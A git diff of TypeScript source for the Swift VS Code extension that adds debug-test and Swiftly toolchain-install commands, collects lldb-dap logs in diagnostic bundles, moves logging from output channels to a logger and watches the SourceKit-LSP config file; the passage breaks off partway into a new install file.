export type WorkspaceContextWithToolchain = WorkspaceContext & { toolchain: SwiftToolchain }; export function registerToolchainCommands( - toolchain: SwiftToolchain | undefined, - cwd?: vscode.Uri + ctx: WorkspaceContext | undefined, + logger: SwiftLogger ): vscode.Disposable[] { return [ vscode.commands.registerCommand("swift.createNewProject", () => - createNewProject(toolchain) + createNewProject(ctx?.globalToolchain) ), vscode.commands.registerCommand("swift.selectToolchain", () => - showToolchainSelectionQuickPick(toolchain, cwd) + showToolchainSelectionQuickPick( + ctx?.currentFolder?.toolchain ?? ctx?.globalToolchain, + logger, + ctx?.currentFolder?.folder + ) ), vscode.commands.registerCommand("swift.pickProcess", configuration => pickProcess(configuration) @@ -89,6 +95,8 @@ export enum Commands { UPDATE_DEPENDENCIES = "swift.updateDependencies", RUN_TESTS_MULTIPLE_TIMES = "swift.runTestsMultipleTimes", RUN_TESTS_UNTIL_FAILURE = "swift.runTestsUntilFailure", + DEBUG_TESTS_MULTIPLE_TIMES = "swift.debugTestsMultipleTimes", + DEBUG_TESTS_UNTIL_FAILURE = "swift.debugTestsUntilFailure", RESET_PACKAGE = "swift.resetPackage", USE_LOCAL_DEPENDENCY = "swift.useLocalDependency", UNEDIT_DEPENDENCY = "swift.uneditDependency", @@ -107,6 +115,8 @@ export enum Commands { OPEN_MANIFEST = "swift.openManifest", RESTART_LSP = "swift.restartLSPServer", SELECT_TOOLCHAIN = "swift.selectToolchain", + INSTALL_SWIFTLY_TOOLCHAIN = "swift.installSwiftlyToolchain", + INSTALL_SWIFTLY_SNAPSHOT_TOOLCHAIN = "swift.installSwiftlySnapshotToolchain", GENERATE_SOURCEKIT_CONFIG = "swift.generateSourcekitConfiguration", } @@ -142,7 +152,13 @@ export function register(ctx: WorkspaceContext): vscode.Disposable[] { async (...args: (vscode.TestItem | number)[]) => { const { testItems, count } = extractTestItemsAndCount(...args); if (ctx.currentFolder) { - return await runTestMultipleTimes(ctx.currentFolder, testItems, false, count); + return await runTestMultipleTimes( + ctx.currentFolder, + testItems, + false, + TestKind.standard, + count + ); } } ), @@ -151,7 +167,44 @@ export function register(ctx: WorkspaceContext): vscode.Disposable[] { async (...args: (vscode.TestItem | number)[]) => { const { testItems, count } = extractTestItemsAndCount(...args); if (ctx.currentFolder) { - return await runTestMultipleTimes(ctx.currentFolder, testItems, true, count); + return await runTestMultipleTimes( + ctx.currentFolder, + testItems, + true, + TestKind.standard, + count + ); + } + } + ), + + vscode.commands.registerCommand( + Commands.DEBUG_TESTS_MULTIPLE_TIMES, + async (...args: (vscode.TestItem | number)[]) => { + const { testItems, count } = extractTestItemsAndCount(...args); + if (ctx.currentFolder) { + return await runTestMultipleTimes( + ctx.currentFolder, + testItems, + false, + TestKind.debug, + count + ); + } + } + ), + vscode.commands.registerCommand( + Commands.DEBUG_TESTS_UNTIL_FAILURE, + async (...args: (vscode.TestItem | number)[]) => { + const { testItems, count } = extractTestItemsAndCount(...args); + if (ctx.currentFolder) { + return await runTestMultipleTimes( + ctx.currentFolder, + testItems, + true, + TestKind.debug, + count + ); } } ), @@ -166,7 +219,15 @@ export function register(ctx: WorkspaceContext): vscode.Disposable[] { Commands.RESET_PACKAGE, async (_ /* Ignore context */, folder) => await resetPackage(ctx, folder) ), - vscode.commands.registerCommand("swift.runScript", async () => await runSwiftScript(ctx)), + vscode.commands.registerCommand("swift.runScript", async () => { + if (ctx && vscode.window.activeTextEditor?.document) { + await runSwiftScript( + vscode.window.activeTextEditor.document, + ctx.tasks, + ctx.currentFolder?.toolchain ?? ctx.globalToolchain + ); + } + }), vscode.commands.registerCommand("swift.openPackage", async () => { if (ctx.currentFolder) { return await openPackage(ctx.currentFolder.swiftVersion, ctx.currentFolder.folder); @@ -280,6 +341,27 @@ export function register(ctx: WorkspaceContext): vscode.Disposable[] { Commands.GENERATE_SOURCEKIT_CONFIG, async () => await generateSourcekitConfiguration(ctx) ), + vscode.commands.registerCommand( + "swift.showCommands", + async () => + await vscode.commands.executeCommand("workbench.action.quickOpen", ">Swift: ") + ), + vscode.commands.registerCommand( + "swift.configureSettings", + async () => + await vscode.commands.executeCommand( + "workbench.action.openSettings", + "@ext:swiftlang.swift-vscode " + ) + ), + vscode.commands.registerCommand( + Commands.INSTALL_SWIFTLY_TOOLCHAIN, + async () => await promptToInstallSwiftlyToolchain(ctx, "stable") + ), + vscode.commands.registerCommand( + Commands.INSTALL_SWIFTLY_SNAPSHOT_TOOLCHAIN, + async () => await promptToInstallSwiftlyToolchain(ctx, "snapshot") + ), ]; } diff --git a/src/commands/attachDebugger.ts b/src/commands/attachDebugger.ts index 558910015..a145e8c37 100644 --- a/src/commands/attachDebugger.ts +++ b/src/commands/attachDebugger.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { SWIFT_LAUNCH_CONFIG_TYPE } from "../debugger/debugAdapter"; /** diff --git a/src/commands/build.ts b/src/commands/build.ts index a0d3ee7cd..4e2235c95 100644 --- a/src/commands/build.ts +++ b/src/commands/build.ts @@ -11,15 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { WorkspaceContext } from "../WorkspaceContext"; -import { createSwiftTask, SwiftTaskProvider } from "../tasks/SwiftTaskProvider"; -import { debugLaunchConfig, getLaunchConfiguration } from "../debugger/launch"; -import { executeTaskWithUI } from "./utilities"; + import { FolderContext } from "../FolderContext"; import { Target } from "../SwiftPackage"; +import { WorkspaceContext } from "../WorkspaceContext"; +import { debugLaunchConfig, getLaunchConfiguration } from "../debugger/launch"; +import { SwiftTaskProvider, createSwiftTask } from "../tasks/SwiftTaskProvider"; import { packageName } from "../utilities/tasks"; +import { executeTaskWithUI } from "./utilities"; /** * Executes a {@link vscode.Task task} to run swift target. @@ -73,13 +73,11 @@ export async function folderCleanBuild(folderContext: FolderContext) { export async function debugBuildWithOptions( ctx: WorkspaceContext, options: vscode.DebugSessionOptions, - targetName?: string + targetName: string | undefined ) { const current = ctx.currentFolder; if (!current) { - ctx.outputChannel.appendLine( - "debugBuildWithOptions: No current folder on WorkspaceContext" - ); + ctx.logger.debug("debugBuildWithOptions: No current folder on WorkspaceContext"); return; } @@ -90,7 +88,7 @@ export async function debugBuildWithOptions( } else { const file = vscode.window.activeTextEditor?.document.fileName; if (!file) { - ctx.outputChannel.appendLine("debugBuildWithOptions: No active text editor"); + ctx.logger.debug("debugBuildWithOptions: No active text editor"); return; } @@ -98,18 +96,18 @@ export async function debugBuildWithOptions( } if (!target) { - ctx.outputChannel.appendLine("debugBuildWithOptions: No active target"); + ctx.logger.debug("debugBuildWithOptions: No active target"); return; } if (target.type !== "executable") { - ctx.outputChannel.appendLine( + ctx.logger.debug( `debugBuildWithOptions: Target is not an executable, instead is ${target.type}` ); return; } - const launchConfig = getLaunchConfiguration(target.name, current); + const launchConfig = await getLaunchConfiguration(target.name, "debug", current); if (launchConfig) { ctx.buildStarted(target.name, launchConfig, options); const result = await debugLaunchConfig( diff --git a/src/commands/captureDiagnostics.ts b/src/commands/captureDiagnostics.ts index 8869eae8a..a7732e944 100644 --- a/src/commands/captureDiagnostics.ts +++ b/src/commands/captureDiagnostics.ts @@ -11,20 +11,22 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as archiver from "archiver"; +import { exec } from "child_process"; import * as fs from "fs"; import * as fsPromises from "fs/promises"; -import * as path from "path"; -import * as vscode from "vscode"; import { tmpdir } from "os"; -import { exec } from "child_process"; +import * as path from "path"; import { Writable } from "stream"; +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; import { WorkspaceContext } from "../WorkspaceContext"; -import { Version } from "../utilities/version"; -import { destructuredPromise, execFileStreamOutput } from "../utilities/utilities"; import configuration from "../configuration"; -import { FolderContext } from "../FolderContext"; +import { DebugAdapter } from "../debugger/debugAdapter"; +import { Extension } from "../utilities/extensions"; +import { destructuredPromise, execFileStreamOutput } from "../utilities/utilities"; +import { Version } from "../utilities/version"; export async function captureDiagnostics( ctx: WorkspaceContext, @@ -44,13 +46,26 @@ export async function captureDiagnostics( ); await fsPromises.mkdir(diagnosticsDir); - await writeLogFile(diagnosticsDir, "extension-logs.txt", extensionLogs(ctx)); const singleFolderWorkspace = ctx.folders.length === 1; const zipDir = await createDiagnosticsZipDir(); const zipFilePath = path.join(zipDir, `${path.basename(diagnosticsDir)}.zip`); const { archive, done: archivingDone } = configureZipArchiver(zipFilePath); + const archivedLldbDapLogFolders = new Set(); + const includeLldbDapLogs = DebugAdapter.getLaunchConfigType( + ctx.globalToolchainSwiftVersion + ); + if (captureMode === "Full" && includeLldbDapLogs) { + for (const defaultLldbDapLogs of [defaultLldbDapLogFolder(ctx), lldbDapLogFolder()]) { + if (!defaultLldbDapLogs || archivedLldbDapLogFolders.has(defaultLldbDapLogs)) { + continue; + } + archivedLldbDapLogFolders.add(defaultLldbDapLogs); + await copyLogFolder(ctx, diagnosticsDir, defaultLldbDapLogs); + } + } + for (const folder of ctx.folders) { const baseName = path.basename(folder.folder.fsPath); const guid = Math.random().toString(36).substring(2, 10); @@ -70,15 +85,31 @@ export async function captureDiagnostics( // The `sourcekit-lsp diagnose` command is only available in 6.0 and higher. if (folder.toolchain.swiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0))) { await sourcekitDiagnose(folder, outputDir); - } else { - await writeLogFile( - outputDir, - `${baseName}-${guid}-sourcekit-lsp.txt`, - sourceKitLogs(folder) - ); + } else if ( + vscode.workspace + .getConfiguration("sourcekit-lsp") + .get("trace.server", "off") !== "off" + ) { + const logFile = sourceKitLogFile(folder); + if (logFile) { + await copyLogFile(outputDir, logFile); + } + } + + const includeLldbDapLogs = DebugAdapter.getLaunchConfigType(folder.swiftVersion); + if (!includeLldbDapLogs) { + continue; + } + // Copy lldb-dap logs + const lldbDapLogs = lldbDapLogFolder(folder.workspaceFolder); + if (lldbDapLogs && !archivedLldbDapLogFolders.has(lldbDapLogs)) { + archivedLldbDapLogFolders.add(lldbDapLogs); + await copyLogFolder(ctx, outputDir, lldbDapLogs); } } } + // Leave at end in case log above + await copyLogFile(diagnosticsDir, extensionLogFile(ctx)); archive.directory(diagnosticsDir, false); void archive.finalize(); @@ -87,7 +118,7 @@ export async function captureDiagnostics( // Clean up the diagnostics directory, leaving `zipFilePath` with the zip file. await fsPromises.rm(diagnosticsDir, { recursive: true, force: true }); - ctx.outputChannel.log(`Saved diagnostics to ${zipFilePath}`); + ctx.logger.info(`Saved diagnostics to ${zipFilePath}`); await showCapturedDiagnosticsResults(zipFilePath); return zipFilePath; @@ -138,24 +169,24 @@ async function captureDiagnosticsMode( ctx: WorkspaceContext, allowMinimalCapture: boolean ): Promise<"Minimal" | "Full" | undefined> { - if ( - ctx.globalToolchainSwiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0)) || - vscode.workspace.getConfiguration("sourcekit-lsp").get("trace.server", "off") !== - "off" - ) { - const fullButton = allowMinimalCapture ? "Capture Full Diagnostics" : "Capture Diagnostics"; + if (ctx.globalToolchainSwiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0))) { + const fullButton = "Capture Full Diagnostics"; const minimalButton = "Capture Minimal Diagnostics"; const buttons = allowMinimalCapture ? [fullButton, minimalButton] : [fullButton]; const fullCaptureResult = await vscode.window.showInformationMessage( `A Diagnostic Bundle collects information that helps the developers of the Swift for VS Code extension diagnose and fix issues. -This information contains: +This information includes: - Extension logs +- Extension settings - Versions of Swift installed on your system + +If you allow capturing a Full Diagnostic Bundle, the information will also include: - Crash logs from SourceKit - Log messages emitted by SourceKit - If possible, a minimized project that caused SourceKit to crash - If possible, a minimized project that caused the Swift compiler to crash +- If available, log messages emitted by LLDB DAP All information is collected locally and you can inspect the diagnose bundle before sharing it with developers of the Swift for VS Code extension. @@ -208,6 +239,23 @@ async function writeLogFile(dir: string, name: string, logs: string) { await fsPromises.writeFile(path.join(dir, name), logs); } +async function copyLogFile(dir: string, filePath: string) { + await fsPromises.copyFile(filePath, path.join(dir, path.basename(filePath))); +} + +async function copyLogFolder(ctx: WorkspaceContext, dir: string, folderPath: string) { + try { + const lldbLogFiles = await fsPromises.readdir(folderPath); + for (const log of lldbLogFiles) { + await copyLogFile(dir, path.join(folderPath, log)); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + ctx.logger.error(`Failed to read log files from ${folderPath}: ${error}`); + } + } +} + /** * Creates a directory for diagnostics zip files, located in the system's temporary directory. */ @@ -217,8 +265,33 @@ async function createDiagnosticsZipDir(): Promise { return diagnosticsDir; } -function extensionLogs(ctx: WorkspaceContext): string { - return ctx.outputChannel.logs.join("\n"); +function extensionLogFile(ctx: WorkspaceContext): string { + return ctx.logger.logFilePath; +} + +function defaultLldbDapLogFolder(ctx: WorkspaceContext): string { + const rootLogFolder = path.dirname(ctx.loggerFactory.logFolderUri.fsPath); + return path.join(rootLogFolder, Extension.LLDBDAP); +} + +function lldbDapLogFolder(workspaceFolder?: vscode.WorkspaceFolder): string | undefined { + const config = vscode.workspace.workspaceFile + ? vscode.workspace.getConfiguration("lldb-dap") + : vscode.workspace.getConfiguration("lldb-dap", workspaceFolder); + let logFolder = config.get("logFolder"); + if (!logFolder) { + return; + } else if (!path.isAbsolute(logFolder)) { + const logFolderSettingInfo = config.inspect("logFolder"); + if (logFolderSettingInfo?.workspaceFolderValue && workspaceFolder) { + logFolder = path.join(workspaceFolder.uri.fsPath, logFolder); + } else if (logFolderSettingInfo?.workspaceValue && vscode.workspace.workspaceFile) { + logFolder = path.join(path.dirname(vscode.workspace.workspaceFile.fsPath), logFolder); + } else if (vscode.workspace.workspaceFolders?.length) { + logFolder = path.join(vscode.workspace.workspaceFolders[0].uri.fsPath, logFolder); + } + } + return logFolder; } function settingsLogs(ctx: FolderContext): string { @@ -239,10 +312,9 @@ function diagnosticLogs(): string { .join("\n"); } -function sourceKitLogs(folder: FolderContext) { +function sourceKitLogFile(folder: FolderContext) { const languageClient = folder.workspaceContext.languageClientManager.get(folder); - const logs = languageClient.languageClientOutputChannel?.logs ?? []; - return logs.join("\n"); + return languageClient.languageClientOutputChannel?.logFilePath; } async function sourcekitDiagnose(ctx: FolderContext, dir: string) { @@ -260,9 +332,15 @@ async function sourcekitDiagnose(ctx: FolderContext, dir: string) { }, async progress => { progress.report({ message: "Diagnosing SourceKit-LSP..." }); - const writableStream = progressUpdatingWritable(percent => - progress.report({ message: `Diagnosing SourceKit-LSP: ${percent}%` }) - ); + let lastProgress = 0; + const writableStream = progressUpdatingWritable(percentStr => { + const percent = parseInt(percentStr, 10); + progress.report({ + message: `Diagnosing SourceKit-LSP: ${percent}%`, + increment: percent - lastProgress, + }); + lastProgress = percent; + }); await execFileStreamOutput( serverPath, @@ -290,7 +368,7 @@ function progressUpdatingWritable(updateProgress: (str: string) => void): Writab return new Writable({ write(chunk, _encoding, callback) { const str = (chunk as Buffer).toString("utf8").trim(); - const percent = /^([0-9])+%/.exec(str); + const percent = /^([0-9]+)%/.exec(str); if (percent && percent[1]) { updateProgress(percent[1]); } diff --git a/src/commands/createNewProject.ts b/src/commands/createNewProject.ts index 016bd346d..8cd6f9b7e 100644 --- a/src/commands/createNewProject.ts +++ b/src/commands/createNewProject.ts @@ -11,11 +11,11 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as fs from "fs/promises"; +import * as vscode from "vscode"; + import configuration from "../configuration"; -import { SwiftToolchain, SwiftProjectTemplate } from "../toolchain/toolchain"; +import { SwiftProjectTemplate, SwiftToolchain } from "../toolchain/toolchain"; import { showToolchainError } from "../ui/ToolchainSelection"; import { withDelayedProgress } from "../ui/withDelayedProgress"; import { execSwift } from "../utilities/utilities"; diff --git a/src/commands/dependencies/edit.ts b/src/commands/dependencies/edit.ts index 376ec3dc3..0051164a2 100644 --- a/src/commands/dependencies/edit.ts +++ b/src/commands/dependencies/edit.ts @@ -11,13 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { createSwiftTask } from "../../tasks/SwiftTaskProvider"; + +import { FolderContext } from "../../FolderContext"; import { FolderOperation, WorkspaceContext } from "../../WorkspaceContext"; -import { executeTaskWithUI } from "../utilities"; +import { createSwiftTask } from "../../tasks/SwiftTaskProvider"; import { packageName } from "../../utilities/tasks"; -import { FolderContext } from "../../FolderContext"; +import { executeTaskWithUI } from "../utilities"; /** * Setup package dependency to be edited diff --git a/src/commands/dependencies/resolve.ts b/src/commands/dependencies/resolve.ts index 45e13bbbb..e2d28f7a9 100644 --- a/src/commands/dependencies/resolve.ts +++ b/src/commands/dependencies/resolve.ts @@ -11,13 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { FolderContext } from "../../FolderContext"; -import { createSwiftTask, SwiftTaskProvider } from "../../tasks/SwiftTaskProvider"; import { WorkspaceContext } from "../../WorkspaceContext"; -import { executeTaskWithUI, updateAfterError } from "../utilities"; +import { SwiftTaskProvider, createSwiftTask } from "../../tasks/SwiftTaskProvider"; import { packageName } from "../../utilities/tasks"; +import { executeTaskWithUI, updateAfterError } from "../utilities"; /** * Executes a {@link vscode.Task task} to resolve this package's dependencies. diff --git a/src/commands/dependencies/unedit.ts b/src/commands/dependencies/unedit.ts index 4299f1b87..346029737 100644 --- a/src/commands/dependencies/unedit.ts +++ b/src/commands/dependencies/unedit.ts @@ -11,12 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as fs from "fs/promises"; +import * as vscode from "vscode"; + +import { FolderContext } from "../../FolderContext"; import { FolderOperation, WorkspaceContext } from "../../WorkspaceContext"; import { SwiftExecOperation } from "../../tasks/TaskQueue"; -import { FolderContext } from "../../FolderContext"; /** * Stop local editing of package dependency @@ -30,10 +30,10 @@ export async function uneditDependency( ) { const currentFolder = folder ?? ctx.currentFolder; if (!currentFolder) { - ctx.outputChannel.log("currentFolder is not set."); + ctx.logger.debug("currentFolder is not set."); return false; } - ctx.outputChannel.log(`unedit dependency ${identifier}`, currentFolder.name); + ctx.logger.debug(`unedit dependency ${identifier}`, currentFolder.name); const status = `Reverting edited dependency ${identifier} (${currentFolder.name})`; return await ctx.statusItem.showStatusWhileRunning(status, async () => { return await uneditFolderDependency(currentFolder, identifier, ctx); @@ -89,12 +89,12 @@ async function uneditFolderDependency( ); if (result === "No") { - ctx.outputChannel.log(execError.stderr, folder.name); + ctx.logger.error(execError.stderr, folder.name); return false; } await uneditFolderDependency(folder, identifier, ctx, ["--force"]); } else { - ctx.outputChannel.log(execError.stderr, folder.name); + ctx.logger.error(execError.stderr, folder.name); void vscode.window.showErrorMessage(`${execError.stderr}`); } return false; diff --git a/src/commands/dependencies/update.ts b/src/commands/dependencies/update.ts index 440eb2d59..3a5c4ef45 100644 --- a/src/commands/dependencies/update.ts +++ b/src/commands/dependencies/update.ts @@ -11,13 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { FolderContext } from "../../FolderContext"; import { WorkspaceContext } from "../../WorkspaceContext"; -import { createSwiftTask, SwiftTaskProvider } from "../../tasks/SwiftTaskProvider"; -import { executeTaskWithUI, updateAfterError } from "./../utilities"; +import { SwiftTaskProvider, createSwiftTask } from "../../tasks/SwiftTaskProvider"; import { packageName } from "../../utilities/tasks"; +import { executeTaskWithUI, updateAfterError } from "./../utilities"; /** * Executes a {@link vscode.Task task} to update this package's dependencies. @@ -25,7 +25,7 @@ import { packageName } from "../../utilities/tasks"; export async function updateDependencies(ctx: WorkspaceContext) { const current = ctx.currentFolder; if (!current) { - ctx.outputChannel.log("currentFolder is not set."); + ctx.logger.debug("currentFolder is not set.", "updateDependencies"); return false; } return await updateFolderDependencies(current); diff --git a/src/commands/dependencies/updateDepViewList.ts b/src/commands/dependencies/updateDepViewList.ts index 42293619d..f925113ff 100644 --- a/src/commands/dependencies/updateDepViewList.ts +++ b/src/commands/dependencies/updateDepViewList.ts @@ -11,13 +11,11 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import contextKeys from "../../contextKeys"; import { FolderOperation, WorkspaceContext } from "../../WorkspaceContext"; export function updateDependenciesViewList(ctx: WorkspaceContext, flatList: boolean) { if (ctx.currentFolder) { - contextKeys.flatDependenciesList = flatList; + ctx.contextKeys.flatDependenciesList = flatList; void ctx.fireEvent(ctx.currentFolder, FolderOperation.packageViewUpdated); } } diff --git a/src/commands/dependencies/useLocal.ts b/src/commands/dependencies/useLocal.ts index e8cc1db71..8db43bb81 100644 --- a/src/commands/dependencies/useLocal.ts +++ b/src/commands/dependencies/useLocal.ts @@ -11,12 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { FolderOperation, WorkspaceContext } from "../../WorkspaceContext"; import { createSwiftTask } from "../../tasks/SwiftTaskProvider"; -import { executeTaskWithUI } from "../utilities"; import { packageName } from "../../utilities/tasks"; +import { executeTaskWithUI } from "../utilities"; /** * Use local version of package dependency @@ -32,7 +32,7 @@ export async function useLocalDependency( ): Promise { const currentFolder = ctx.currentFolder; if (!currentFolder) { - ctx.outputChannel.log("currentFolder is not set."); + ctx.logger.debug("currentFolder is not set.", "useLocalDependency"); return false; } let folder = dep; @@ -67,12 +67,21 @@ export async function useLocalDependency( currentFolder.toolchain ); + ctx.logger.debug( + `Placing dependency "${identifier}" in "editing" state with task: ${task.definition}` + ); + const success = await executeTaskWithUI( task, `Use local version of ${identifier}`, currentFolder, true ); + + ctx.logger.debug( + `Finished placing dependency "${identifier}" in "editing" state, success: ${success}` + ); + if (success) { await ctx.fireEvent(currentFolder, FolderOperation.resolvedUpdated); } diff --git a/src/commands/generateLaunchConfigurations.ts b/src/commands/generateLaunchConfigurations.ts index 59313d810..ee7ad9269 100644 --- a/src/commands/generateLaunchConfigurations.ts +++ b/src/commands/generateLaunchConfigurations.ts @@ -11,11 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import { makeDebugConfigurations } from "../debugger/launch"; import { FolderContext } from "../FolderContext"; -import { selectFolder } from "../ui/SelectFolderQuickPick"; import { WorkspaceContext } from "../WorkspaceContext"; +import { makeDebugConfigurations } from "../debugger/launch"; +import { selectFolder } from "../ui/SelectFolderQuickPick"; export async function generateLaunchConfigurations(ctx: WorkspaceContext): Promise { if (ctx.folders.length === 0) { diff --git a/src/commands/generateSourcekitConfiguration.ts b/src/commands/generateSourcekitConfiguration.ts index 3a6582d79..8ea269d29 100644 --- a/src/commands/generateSourcekitConfiguration.ts +++ b/src/commands/generateSourcekitConfiguration.ts @@ -11,13 +11,17 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { basename, dirname, join } from "path"; import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; -import { selectFolder } from "../ui/SelectFolderQuickPick"; import { WorkspaceContext } from "../WorkspaceContext"; import configuration from "../configuration"; +import { selectFolder } from "../ui/SelectFolderQuickPick"; +import restartLSPServer from "./restartLSPServer"; + +export const sourcekitDotFolder: string = ".sourcekit-lsp"; +export const sourcekitConfigFileName: string = "config.json"; export async function generateSourcekitConfiguration(ctx: WorkspaceContext): Promise { if (ctx.folders.length === 0) { @@ -46,9 +50,9 @@ export async function generateSourcekitConfiguration(ctx: WorkspaceContext): Pro ).reduceRight((prev, curr) => prev || curr); } -export const sourcekitFolderPath = (f: FolderContext) => join(f.folder.fsPath, ".sourcekit-lsp"); +export const sourcekitFolderPath = (f: FolderContext) => join(f.folder.fsPath, sourcekitDotFolder); export const sourcekitConfigFilePath = (f: FolderContext) => - join(sourcekitFolderPath(f), "config.json"); + join(sourcekitFolderPath(f), sourcekitConfigFileName); async function createSourcekitConfiguration( workspaceContext: WorkspaceContext, @@ -62,7 +66,7 @@ async function createSourcekitConfiguration( return true; } catch (error) { if ((error as NodeJS.ErrnoException).code !== "ENOENT") { - workspaceContext.outputChannel.appendLine( + workspaceContext.logger.error( `Failed to read file at ${sourcekitConfigFile.fsPath}: ${error}` ); } @@ -79,7 +83,7 @@ async function createSourcekitConfiguration( } } catch (error) { if ((error as NodeJS.ErrnoException).code !== "ENOENT") { - workspaceContext.outputChannel.appendLine( + workspaceContext.logger.error( `Failed to read folder at ${sourcekitFolder.fsPath}: ${error}` ); } @@ -134,23 +138,40 @@ export async function determineSchemaURL(folderContext: FolderContext): Promise< return schemaURL(branch); } -async function checkDocumentSchema(doc: vscode.TextDocument, workspaceContext: WorkspaceContext) { - const folder = await workspaceContext.getPackageFolder(doc.uri); +async function getValidatedFolderContext( + uri: vscode.Uri, + workspaceContext: WorkspaceContext +): Promise { + const folder = await workspaceContext.getPackageFolder(uri); if (!folder) { - return; + return null; } const folderContext = folder as FolderContext; if (!folderContext.name) { - return; // Not a FolderContext if no "name" + return null; // Not a FolderContext if no "name" + } + if ( + !( + basename(dirname(uri.fsPath)) === sourcekitDotFolder && + basename(uri.fsPath) === sourcekitConfigFileName + ) + ) { + return null; + } + return folderContext; +} + +async function checkDocumentSchema(doc: vscode.TextDocument, workspaceContext: WorkspaceContext) { + const folderContext = await getValidatedFolderContext(doc.uri, workspaceContext); + if (!folderContext) { + return; } let buffer: Uint8Array; try { buffer = await vscode.workspace.fs.readFile(doc.uri); } catch (error) { if ((error as NodeJS.ErrnoException).code !== "ENOENT") { - workspaceContext.outputChannel.appendLine( - `Failed to read file at ${doc.uri.fsPath}: ${error}` - ); + workspaceContext.logger.error(`Failed to read file at ${doc.uri.fsPath}: ${error}`); } return; } @@ -159,9 +180,7 @@ async function checkDocumentSchema(doc: vscode.TextDocument, workspaceContext: W const contents = Buffer.from(buffer).toString("utf-8"); config = JSON.parse(contents); } catch (error) { - workspaceContext.outputChannel.appendLine( - `Failed to parse JSON from ${doc.uri.fsPath}: ${error}` - ); + workspaceContext.logger.error(`Failed to parse JSON from ${doc.uri.fsPath}: ${error}`); return; } const schema = config.$schema; @@ -195,13 +214,7 @@ export async function handleSchemaUpdate( doc: vscode.TextDocument, workspaceContext: WorkspaceContext ) { - if ( - !configuration.checkLspConfigurationSchema || - !( - basename(dirname(doc.uri.fsPath)) === ".sourcekit-lsp" && - basename(doc.uri.fsPath) === "config.json" - ) - ) { + if (!configuration.checkLspConfigurationSchema) { return; } await checkDocumentSchema(doc, workspaceContext); @@ -210,7 +223,44 @@ export async function handleSchemaUpdate( export function registerSourceKitSchemaWatcher( workspaceContext: WorkspaceContext ): vscode.Disposable { - return vscode.workspace.onDidOpenTextDocument(doc => { + const onDidOpenDisposable = vscode.workspace.onDidOpenTextDocument(doc => { void handleSchemaUpdate(doc, workspaceContext); }); + const configFileWatcher = vscode.workspace.createFileSystemWatcher( + `**/${sourcekitDotFolder}/${sourcekitConfigFileName}` + ); + const onDidChangeDisposable = configFileWatcher.onDidChange(async uri => { + await handleConfigFileChange(uri, workspaceContext); + }); + const onDidDeleteDisposable = configFileWatcher.onDidDelete(async uri => { + await handleConfigFileChange(uri, workspaceContext); + }); + const onDidCreateDisposable = configFileWatcher.onDidCreate(async uri => { + await handleConfigFileChange(uri, workspaceContext); + }); + return vscode.Disposable.from( + onDidOpenDisposable, + configFileWatcher, + onDidChangeDisposable, + onDidDeleteDisposable, + onDidCreateDisposable + ); +} + +export async function handleConfigFileChange( + configUri: vscode.Uri, + workspaceContext: WorkspaceContext +): Promise { + const folderContext = await getValidatedFolderContext(configUri, workspaceContext); + if (!folderContext) { + return; + } + const result = await vscode.window.showInformationMessage( + `The SourceKit-LSP configuration file has been modified. Would you like to restart the language server to apply the changes?`, + "Restart LSP Server", + "Not Now" + ); + if (result === "Restart LSP Server") { + await restartLSPServer(workspaceContext); + } } diff --git a/src/commands/insertFunctionComment.ts b/src/commands/insertFunctionComment.ts index 8e2614440..2bb7bde59 100644 --- a/src/commands/insertFunctionComment.ts +++ b/src/commands/insertFunctionComment.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { WorkspaceContext } from "../WorkspaceContext"; /** diff --git a/src/commands/installSwiftlyToolchain.ts b/src/commands/installSwiftlyToolchain.ts new file mode 100644 index 000000000..6af34275b --- /dev/null +++ b/src/commands/installSwiftlyToolchain.ts @@ -0,0 +1,216 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { WorkspaceContext } from "../WorkspaceContext"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { Swiftly, SwiftlyProgressData } from "../toolchain/swiftly"; +import { SwiftToolchain } from "../toolchain/toolchain"; +import { + askWhereToSetToolchain, + setToolchainPath, + showDeveloperDirQuickPick, +} from "../ui/ToolchainSelection"; + +/** + * Installs a Swiftly toolchain and shows a progress notification to the user. + * + * @param version The toolchain version to install + * @param logger Optional logger for error reporting + * @returns Promise true if installation succeeded, false otherwise + */ +export async function installSwiftlyToolchainWithProgress( + version: string, + extensionRoot: string, + logger?: SwiftLogger +): Promise { + try { + await vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: `Installing Swift ${version}`, + cancellable: true, + }, + async (progress, token) => { + progress.report({ message: "Starting installation..." }); + + let 